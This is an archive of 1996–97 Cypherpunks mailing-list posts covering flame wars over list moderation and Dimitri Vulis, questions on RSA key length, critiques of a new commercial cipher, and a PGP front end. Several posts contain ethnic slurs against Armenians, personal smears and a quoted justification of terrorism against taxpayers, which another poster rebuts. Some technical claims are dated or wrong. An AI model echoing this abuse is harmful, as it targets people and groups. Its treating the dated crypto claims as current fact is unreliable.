]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]                          SANDY SANDFORT
] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
]
]C'punks,
]
]Like Tim, I'm a little surprised at all the stupid name calling
]on the list lately.
]
]On Wed, 18 Sep 1996, Dr.Dimitri Vulis KOTM wrote:
]
]> I don't think Timmy believes his own lies.
]
]Again, I don't believe Tim lies, the good doctor's assertions to
]the contrary not withstanding.
]
]> Is Timmy gay?
]
]You should have seen the babe Tim was with at my party.  Where
]do folks come up with this nonsense?
]
]> Timmy is known as a nutcase and a liar - if he keeps up his
]> "character assassination" attacks, the only reputation he hurts
]> is his own.
]
]Yeah, that's the way reputation works, but the gun is definitely
]pointed in the other direction.
]
]
] S a n d y
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]
]
]
============================================================================
]From sandfort@crl.com  Fri Sep 20 20:39:49 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Fri, 20 Sep 96 21:01:24 EDT
]	for dlv
]Received: from crl.crl.com (crl.com) by mail.crl.com with SMTP id AA27356
]  (5.65c/IDA-1.5 for <dlv@bwalk.dm.com>); Fri, 20 Sep 1996 17:40:14 -0700
]Received: by crl.crl.com id AA20262
]  (5.65c/IDA-1.5 for "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>); Fri, 20 Sep 1996 17:33:03 -0700
]Date: Fri, 20 Sep 1996 17:33:02 -0700 (PDT)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Subject: Re: Dimitri Spams
]In-Reply-To: <VDNkuD2w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.960920173112.19403E-100000@crl.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]
]
]On Fri, 20 Sep 1996, Dr.Dimitri Vulis KOTM wrote:
]
]> Ray Arachelian <sunder@brainlink.com> writes:
]>
]> > Dimitri, get a life!  We need Dimitri Spams as much as we needed
]> > Perrygrams.  Which is to say, we need them not at all!
]>
]> I see you lied when you claimed to have killfiled me.
]
]Logical falacy.  He could have killfiled you and then reinstated
]you.  In the alternative, someone could have sent him a copy of
]your post.  All in all, no proof of a lie.  Grow up.
============================================================================
]From sandfort@crl.com  Sat Sep 21 22:54:46 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Sun, 22 Sep 96 00:41:18 EDT
]	for dlv
]Received: from crl5.crl.com by mail.crl.com with SMTP id AA10214
]  (5.65c/IDA-1.5 for <dlv@bwalk.dm.com>); Sat, 21 Sep 1996 19:55:01 -0700
]Received: by crl5.crl.com id AA05873
]  (5.65c/IDA-1.5 for "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>); Sat, 21 Sep 1996 19:42:26 -0700
]Date: Sat, 21 Sep 1996 19:42:25 -0700 (PDT)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Subject: Re: Timmy May's spam (Was: Re: CIA hacked)
]In-Reply-To: <HsumuD8w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.960921193900.5771C-100000@crl5.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]Please stop spamming the list.  You can air your complaints, real
]or imaginary, against Tim or others without dumping tons of spam
]into everyone's lap.  I'm sure there would be much more sympathy
]to your situation if you did not exacerbate the situation.
]
]Regards,
]
] S a n d y
]
]On Sat, 21 Sep 1996, Dr.Dimitri Vulis KOTM wrote:
]
]> Adam Back <aba@dcs.ex.ac.uk> writes:
]> >
]> > Dimitri Vulis <dlv@bwalk.dm.com> writes:
]> > > > [email reply protesting spam]
]> > >
]> > > You are confused. The above question was e-mailed to me by one of
]> > > Timmy May's friends.
]> >
]> > What you were doing was confusing... how about attributing what people
]> > have said to you, in the standard way?  I was unsure what was going on
]> > until you clarified here.  Instead of including all the headers in
]> > there with just a space between your headers and the quoted headers
]> > (which makes it hard to follow, and makes one wonder if someone is
]> > trying a crude forgery), use standard quoting conventions:
]> >
]> > 	Joe Blogss <joe@bloggs.com> writes in private email:
]> > 	> [quoted message body]...
]> >
]> > or similar?
]>
]> You're right - the forwarding mechanism I've been using so far just yanks in
]> the spam e-mail without any processing. I will henceforth
]>  1) Put the words 'Tim', 'May', and 'spam' in the subject line
]>  2) Put some obvious ASCII prefix in front of the quotes.
]> I apologize for any confusion.
]>
]> > > If you have any comments about Timmy May's friends not knowing
]> > > English, trying to insult people, and posting non-crypto-relevant
]> > > political rants, address them to Timmy May and his friends.
]> >
]> > It would seem to me that the first insults were thrown by yourself,
]> > and that your strange habit of bouncing all the fallout to the list is
]> > perpetuating the problem.
]>
]> No. Let me remind you the sequence of events, in chronological order:
]>
]> 1. Timmy May (who picked up a few popular PKC buzzwords, doesn't know
]> anything about crypto, and isn't interested in learning) started spamming
]> this mailing list with political rants
]>
]> 2. Most people who used to discuss crypto work on this mailing list
]> have unsubscribed.
]>
]> 3. I pointed out a few examples of Tim making factually bogus claims in
]> his rants.
]>
]> 4. Tim got very angry at me and started flaming me. I ignored him.
]>
]> 5. Tim posted a series of rants about me, attributing to me various
]> nonsense I never said. I pointed out once that I never said it and
]> then ignored him.
]>
]> 6. Recently it came to my attention that Tim's been contacting off-list
]> various people in the computer security field and "complaining" about
]> the politically incorrect things that I supposedly say on the Internet
]> - except that he made up most of the "things" he complained about.
]>
]> 7. At this point I pointed out quite publicly that he's a liar.
]>
]> 8. Since that time, several friends of Tim May (or maybe Tim himself,
]> using multiple accounts) have been sending me harrassing e-mail, often
]> by quoting my own cypherpunks articles and adding an obscenity.
]>
]> 9. Tim himself continues flaming me and telling lies about me (see his
]> recent rant with the subject "death threats").
]>
]> And you see, Timmy May is an obsessive liar and a vindictive nutcase.
]>
]> > If reporting to the list is accurate, I hear you have a PhD with a
]> > subject related to crypto, so presumably you would have ample
]> > knowledge to contribute technical crypto related thoughts.  I'm sure
]> > people would be interested in anything along those lines you cared to
]> > contribute, and your reputation would benefit,
]>
]> I still hope to be able discuss crypto on this mailing list (yes, my Ph.D.
]> thesis was about crypto), but I see two problems:
]>
]> 1. A lot of people have already left this list, unwilling to be subjected
]> to Tim May's rants, lies, and personal attacks. If I post something crypto-
]> relevant to this mailing list, they won't see it.
]>
]> 2. Here's an example of the net-abuse being perpetrated by Tim May and his
]> merry gang of mailbombers. I posted some crypto-relevant wire clippings
]> to this mailing list. Either Tim (using an alternate account) or some pal
]> of his e-mailed it back to me with an obscenity appended.
]>
]> ]From adamsc@io-online.com  Thu Sep 19 00:00:57 1996
]<large quoted mailbomb skipped>
============================================================================
]From sandfort@crl.com  Mon Sep 23 23:10:07 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Mon, 23 Sep 96 23:26:32 EDT
]	for dlv
]Received: from crl2.crl.com by mail.crl.com with SMTP id AA22789
]  (5.65c/IDA-1.5 for <dlv@bwalk.dm.com>); Mon, 23 Sep 1996 20:10:18 -0700
]Received: by crl2.crl.com id AA15701
]  (5.65c/IDA-1.5); Mon, 23 Sep 1996 20:08:20 -0700
]Date: Mon, 23 Sep 1996 20:08:19 -0700 (PDT)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Cc: cypherpunks@toad.com
]Subject: Re: AP [was: Re: Kiddie porn on the Internet] [NOISE]
]In-Reply-To: <6XJquD10w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.960923194435.15255A-100000@crl2.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]                          SANDY SANDFORT
] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
]
]C'punks,
]
]On Mon, 23 Sep 1996, Dr.Dimitri Vulis KOTM wrote:
]
]> There is no such thing as an "ordinary citizen". When the U.S. commits
]> war crimes in Korea, Viet Nam, Grenada, Panama, Somalia, Iraq, and elsewhere,
]> every American taxpayer is an accomplice and a fair game.
]
]Illogical collectivist claptrap.  When a taxpayer is targeted by
]terrorists, he has been victimized twice--first by the government
]that stole his money, second by the terrorist that punished him
]for the (alleged) acts others commited with that money.  If a
]mugger buys a gun with the money he took from me, am I then
]responsible for the murder he commits with it?  Clearly not.
]This line of "reasoning" is nothing more than a sad variant of
]the old, "blame the victim" game.  For shame.
]
]Let's bring this back to crypto for a moment.  Dimitri's "logic"
]must necessarily lead one to the conclusion that Cypherpunks (at
]least those in the US) are responsible for whatever draconian
]restrictions "our" government puts on free speech, crypto or
]whatever.  John Gilmore, Philip Zimmermann, Whit Diffie and
]others will be chagrined to learn this, I'm sure.
]
]Dimitri needs to learn what it means to be an adult.  Everyone is
]totally responsible for what they do, but ONLY for what THEY do.
]No one is responsible for the unassisted, willful acts of others.
]
]
] S a n d y
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]
]
============================================================================

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 07:46:10 -0800 (PST)
To: AaronH4321@aol.com
Subject: Re: Why are 1024 bit keys the limit right now?
Message-ID: <853170077.1023902.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I am just starting at this. I know that part of RSA/PGP's strength comes from
> the size key you choose. What prevents someone from writting a 2048 bit key?
> Is it because computers can't handle it? Is 1024 top of  the prime number
> size right now? Am I way off track? 

2048 bit keys are quite commonly used but the reason that arbitrarily 
large keys are not good is because of the amount of time taken to 
generate the keys then encrypt and decrypt messages with them, PGP 
uses a hybrid system whereby the rsa algorithm encrypts a one time 
session IDEA key, a longer RSA key would result in unacceptably long 
waits for most users when encrypting and decrypting messages.

In the end it comes down to a trade off between speed and security 
and 1024 bits is a sensible compromise for most uses.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 08:17:11 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <853170077.1023898.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Comment: "What do you mean by 'extensive research'."
> Reply: Benchmark tests. Source code comparisons. Documentations of other
> algorithms. "Applied Cryptography".

So you have read applied cryptography and decided that qualifies you 
as a cryptographer?
 
> Comment: "I've never even heard of IMDMP before. Is this a joke?"
> Reply: UDCM (IMDMP) came out January 1st, 1997. How do you think successful
> companies start anyway, with millions of dollars upfront? DataET Research is
> a relatively new company.

No new company should be dabbling with new algorithms, an assurance 
of a high probability of security comes with years of attempted 
cryptanalysis.
 
> Comment: "What kind of industry standard is IMDMP above?"
> Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
> 128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?

This is irrelevant rubbish, if there is a cryptanalytic attack on 
your algorithm a brute force attack becomes unecessary and key size is 
not of consequence.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 08:28:29 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: encryption program
Message-ID: <853170081.1023947.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


> > 
> > I'm looking for ciphertext analysis tools --
> > 
> > What analysis tools did you use?  Where can I get a publicly available copy?
> > 
> 
> I just wrote a little c program for frequency analysis, but would
> also be interested if such set of tools existed.
> 
> 	- Igor.

The DIEHARD battery of tools, as seen on the Marsaglia random number 
cd published by Dr. Marsaglia of Florida university, a notable figure 
in PRNG design and analysis sounds appropriate for your purposes. It 
performs a number of statistical tests which may be useful, though I 
personally happen not to trust statistical tests to a great extent 
under most circumstances.

If you cannot find these tools after a web search for DIEHARD or 
Marsaglia email me and I will send you a copy...



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 09:35:03 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: encryption program
Message-ID: <853170082.1023956.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > * The two 'e's in the first word have different ciphertext equivalents,
> >   so it's not a single-alphabet substitution
> yes

Could be homophonic substitution or possibly (more probably, in my 
estimation, polygram substitution. There is also the possibility of a 
polyalphabetic cipher...
 
> I also likes "follows": "vkbcjtp" note how ll gets translated to "bc".
> That suggest that after some encryption of each letter from the plaintext
> there is a consecutively increasing number added.

This tends to suggest polyalphabetic substitution.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 09:37:15 -0800 (PST)
To: Si Dawson <simond@perception.co.nz>
Subject: Re: ok, htf do I get off this list?
Message-ID: <853170087.1023977.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> OK, I've now sent THREE requests to majordomo to get off this list.. I got
> a reply back 4 hours ago saying I was off, and the next two said I wasn't
> a member of the list.  Interesting list (minus the spamcrap obviously) and
> I think the moderation will be a good thing

Just wait a few hours more, I would expect it`s just a backlog and 
you will be properly unsuscribed soon. If you want to subscribe try 
filtering your mail to remove things you don`t want to read, this can 
cut the list down to a more manageable 20 or 30 messages a day 
although I read nearly all of the 100 or so messages a day passing 
through here.

> , BUT the 20 emails I've received
> in the last 4 hours (since I 'officially' unsubbed) is (to say the least) far
> more than I (or any reasonable mortal) can deal with.

Absolutely, you will find all of the long term suscribers on this 
list are immortal.
 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sat, 11 Jan 1997 16:27:03 -0800 (PST)
To: ice@win.bright.net
Subject: Re: Fukkin Elite!
In-Reply-To: <199701101909.OAA12364@Arl-Mail-Svc-1.compuserve.com>
Message-ID: <Pine.BSF.3.91.970111181351.29780B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



The slang's way outa date - must be a fibbie ;)

On Fri, 10 Jan 1997 ice@win.bright.net wrote:

> Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
> Homepage:www.geocities.com/~pentiumru/icehtml.htm
> We Are THE BEST!! 
> So Check us OUT!
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 11 Jan 1997 15:36:25 -0800 (PST)
To: ichudov@algebra.com>
Subject: Re: encryption program
In-Reply-To: <199701110410.WAA02230@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970111183342.1041B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 10 Jan 1997, Igor Chudov @ home wrote:

> Mark -- do you know what are the relevant file names?

I don't know them off hand.  The "applied-crypto" directory has a README file
which describes what each file is.  The cryptanalysis directory at
ftp.ox.ac.uk has some of the same files.  The filenames at that site are
mostly self-explanatory.


Mark










-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtgkcCzIPc7jvyFpAQGOmwf+L5W8EiH9m9Q+fowUUpLHcMtXPnlryjb+
Lh+dJtxRczfV545iRksKjNWoySMG7gjggF7i9TyRFIqo1ZsqTSVjJ764mH/xJXnN
Hw223AmhORGn4A4D+pflUKfi515m2UIbKMyd2RvUq+6xFujXJA6T+EAIieQy1oLZ
cDTsNWzXafpi5OUJn21n5XuaWU+5phlSBwlZMBsSuBp4uRCdTorRTBPJjZeB11m2
CctfVOaHAzM4Aqy6+ePpMhqQsKnJWtV+DWqN1iC0IUuSQru7odCRQdIq97UWRiYp
Pw5Y8vdvp3H33/Qo6cWzxxWVcDXRNGQZNtQe3R2k2Tx0c6iaQ9NZbA==
=iwQU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "LoRd oRiOn" <mindbenders@hotmail.com>
Date: Sat, 11 Jan 1997 10:48:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ma Bell
Message-ID: <19970111184753.7346.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


This may not have to do with you guys..but I have a question...why do Telco
people and the government blame us hackers for costing them billions of dollars
a year to fix the security holes that they have???  Instead of charging us with
felony's and with money they should thank us and/or hire us to find thier holes
and fix them!!  I don't like to screw Ma Bell..but she does have to lighten up.

---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 18:57:05 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
In-Reply-To: <R5wD1D68w165w@bwalk.dm.com>
Message-ID: <32D851C6.5EB5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Someone writes:
> > Dr. Vulis, A lot of things surrounding the upcoming 'moderation'
> > of the CypherPunks list just don't seem to add up.

> If you think their agenda is what I think it is, then it all adds up.[snip]
> >   Notice, please, that John and Sandy have remained above the
> > fray. They have been content, until very recently, to let the
> > dogs tear at each other's throats (and let the 'voters' take
> > part in self-delusional schemes and scenarios, constructing
> > 'moderation systems' in-the-sky). And now Sandy begins to step in,
> > replying only to his 'supporters' (like a 'staged' political rally),
> > gracefully accepting their kudos in his assumption of benevolent
> > dictatorship. (Complete with assurances that there is no 'enemies list'.)

Of course, Dimitri, you and I are just paranoid. John Gilmore is really
Mother Teresa, and he dedicates his time and valuable equipment solely
to our personal betterment.  John has no agenda other than the uplifting
of mankind.  How could *anyone* possibly think that what John says and
what John really means could be two different things.

Now, I've stated this on the list before, but nobody's reading us, so
it won't matter if I repeat it [hee hee].  John has the full attention
of the FBI, CIA, and several other such orgs (any disputing that?).
Those guys are about as likely to allow John to do whatever John wants
as they are likely to allow you and I to run our own currency exchange
in Barbados, unhampered by them.

This cuts both ways:  If Gilmore kept the list open, the feds can sit
on their butts and troll to their hearts' content.  One presumes the
list is a good source of names and info, even if some of the names are
just connections to other leads, in other areas of business even.

If Gilmore wrecks the list, it has the very distinct possibility of
discouraging a *successful* replacement list for some time to come,
perhaps forever.  Think about how successful the assassination business
was for the feds for some time - today they get patsys and hide them
away for years awaiting trial, while the feds run their cases almost
entirely through the media.  Gilmore's silence has a familiar ring....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 18:22:59 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <970111120551_1074845300@emout20.mail.aol.com>
Message-ID: <32D855E0.13CC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com wrote:
> 
> Hi,
>  However, on March 1st, 1997, new versions of UDCM and IMDMP will 
>  be released that...
>  The future versions will also ...

  Future versions of my replies will contain $100 bills...

> I am extremely sorry about the apparently extraneous information that is
> present in a few of my first messages to this mailing list. Such a negative
> level feedback was not anticipated. 

  You have to realize that in posting to this list, you are subjecting 
your software to review by people who are capable of performing strange
sex-acts with algorithms.
  The good news is--if you can 'sell' it here, you can sell it anywhere.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CVHD <cvhd@indyweb.net>
Date: Sat, 11 Jan 1997 16:23:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Win95 PGP Program
Message-ID: <3.0.32.19970111192411.00688254@indyweb.net>
MIME-Version: 1.0
Content-Type: text/enriched

Has anyone taken a look at the "Lock and Key" program for Win95/PGP?
It can be found at :  http://www.voicenet.com/~wheindl/lock&key.htm

I was wondering if there were any inherent problems using a program like this inside Win95 what with the swap-virtual memory files.

TIA for any comments



Regards from the,
Computer Virus Help Desk
http://www.indyweb.net/~cvhd


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sat, 11 Jan 1997 16:40:02 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701111638.KAA05913@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970111193411.17742A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997, Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
> > >
> > > I would not favor a moderation policy that gave carte blanche to "good guys"
> > > to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> > > delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> > > threads, me -- you never know) to be "about crypto." That's a hypocritical
> > > double standard.
> > 
> > Here's another typical post from Igor's soc.culture.russian.moderated (NOT).
> > 
> > Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
> > Kagalenko has been banned from posting to s.c.r.m because he objected to its
> > creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).
> 
> but none of the posts in question had ever been posted to scrm.

	You know well that Kagalenko is most rejected in scrm,
	Poor guy ...not one post, how can that be..?

> I do not see what your example is supposed to illustrate.

	Certain posters are 'discouraged' to post to scrm.

	nurdane oksas
> 
> 	- Igor.
> 
> > ]From: mkagalen@lynx.dac.neu.edu (Michael Kagalenko)
> > ]Newsgroups: soc.culture.russian,alt.genius.bill-palmer
> > ]Subject: Re: Envious Eunuch's E-Mail Evacuations
> > ]Message-ID: <5audbm$4vf@lynx.dac.neu.edu>
> > ]Date: 7 Jan 1997 15:57:26 -0500
> > ]Organization: Northeastern University, Boston, MA. 02115, USA
> > ]
> > ]Henrietta Thomas (hkt@wwa.com) wrote:
> > ]]
> > ]][newsgroups trimmed]
> > ]]
> > ]]ichudov@algebra.com (Igor Chudov @ home) wrote:
> > ]]
> > ]]>-----BEGIN PGP SIGNED MESSAGE-----
> > ]]
> > ]]>[crossposted to alt.genius.bill-palmer]
> > ]]
> > ]]>Prof. Henrietta K. Thomas wrote:
> > ]]
> > ]]Professor, eh? Well, well, well......
> > ]]
> > ]]>> >That's right, Mike;  I'll give you the bad news right here in
> > ]]>> >soc.culture.russian, since in your e-mailing, you claimed to
> > ]]>> >speak for--NOT MICHAEL KAGALENKO, EUNUCH--but the entire
> > ]]>> >s.c.r. readership, in trying to run me off because you were
> > ]]>> >infuriated by a recent posting of mine.
> > ]]>>
> > ]]>> Well, I don't know about the entire readership, but he certainly
> > ]]>> speaks for me in this regard.
> > ]]
> > ]]>Envious Eunuch Kagalenko surely does NOT speak for me and many of my
> > ]]>acquaintainces. We support Bill's struggle against the mischievous
> > ]]>censorous eunuch.
> > ]]
> > ]]You're just angry 'cause Kagalenko tried to crash your machine.
> > ]
> > ] Correction; if I have tried to crash Chudov's computer, it would have been
> > ] crashed. I'd venture to guess that getting root on his Linux box
> > ] wouldn't be all that hard, either.
> > ]
> > ](Followups to sc.r.moderasted)
> > ]
> > ]Couldn't honour it, as I am permanently banned from there.
> > ]
> > ]
> > ]--
> > ]ABILITY,n. The natural equipment to accomplish some small part of the meaner
> > ]           ambitions distinguishing able men from dead ones.
> > ]                -- Ambrose Bierce, "The Devil's Dictionary"
> > ]
> > 
> > ---
> > 
> > Dr.Dimitri Vulis KOTM
> > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> > 
> 
> 
> 
> 	- Igor.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 17:00:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ethnic origins of the ASALA/Earthweb terrorist Ray Arachelian
In-Reply-To: <3.0.32.19970111192414.006a29c0@pop.netaddress.com>
Message-ID: <y48D1D72w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


]Message-Id: <3.0.32.19970111192414.006a29c0@pop.netaddress.com>
]X-Sender: iverson@pop.netaddress.com (Unverified)
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Sat, 11 Jan 1997 19:28:56 -0500
]To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]From: Casey Iverson <iverson@usa.net>
]Subject: Re: A vote of confidence for Sandy
]Mime-Version: 1.0
]Content-Type: text/plain; charset="us-ascii"
]
]At 03:28 PM 1/11/97 EST, you wrote:
[about the ufh.wirenet.net mailbomber terrorist]
]>This is the jerk responsible for the mail loop last Xmas, which the Armenian
]>liar Ray Arachelian tried to blame on me.
]
]This probably won't penetrate your sick mind but the fact is that   Ray
]Arachelian is *not* an an Armenian.
]
]OTOH *you* are a lying, vicious, sick, perverted, homophobic Russian scumbag.

Ray "Arsen" Arachelian admitted being an Armenian. You can complain about
his net-abuse to his boss <jack@earthweb.com>.

In the words of the Russian-Scottish poet Mikhail Lermontov,
 "Ty rab, tu trus, ty armyanin."

ASALA is the terrorist Armenian organization responsible for the murders
of dozens of Turkish diplomats and civilians.

No wonder they want to use strong crypto to cover up their terrorist acts.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 19:20:31 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <199701111950.NAA07011@manifold.algebra.com>
Message-ID: <32D87097.2A2C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote: 
> DataETRsch@aol.com wrote:
> > Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
> > JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
> > messages to DataET Research that do not contain the text "NO FLAME" somewhere
> > in the subject heading will be ignored completely. If a message is a indeed
> > flame, the associated server's administrator will be contacted, and a
> > complaint will be filed accordingly.
> 
> Jeremy, if you ignore them, how can you complain about them?
> Something fishy is going on?

  Good nose, Igor.
  These guys sent their 'grand announcement' of their encryption
software to
this list, and then sat back and waited for the !!!**APPLAUSE**!!! to
come
rolling in.
  Then the poor little boys seem to have gotten their feelings hurt by 
the potential 'consumers' of their product (pun intentional), asking
serious questions about their product.
  Apparently, "Excuse me, sir, but does your product 'work'?", is a
FLAME.

  Without an objective critique of their product, I would suggest that
they their best chance for success lies in the "Make $$$Money$$$ Fast'
forums--not the CypherPunks list.
  On the other hand, if they make it in the cryptography market, then 
maybe my dream of being an amateur brain surgeon is alive and well.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zirko <lzirko@c2.net>
Date: Sat, 11 Jan 1997 21:09:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private Idaho source code now available
Message-ID: <199701120510.VAA07469@blacklodge.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: lucifer@dhp.com, cypherpunks@toad.com
Date: Sun Jan 12 00:08:20 1997

It is just a front end for PGP.  It requires that you have PGP installed in 
order to make use of its encryptiom services.  There should be no export 
controls.

Lucifer says:

> 
>       My understanding is that Private Idaho uses PGP internally
> and provides the same functionality as premail, with an 
> easier to use GUI.
> 
>       Given that, it would still be export controlled, since it
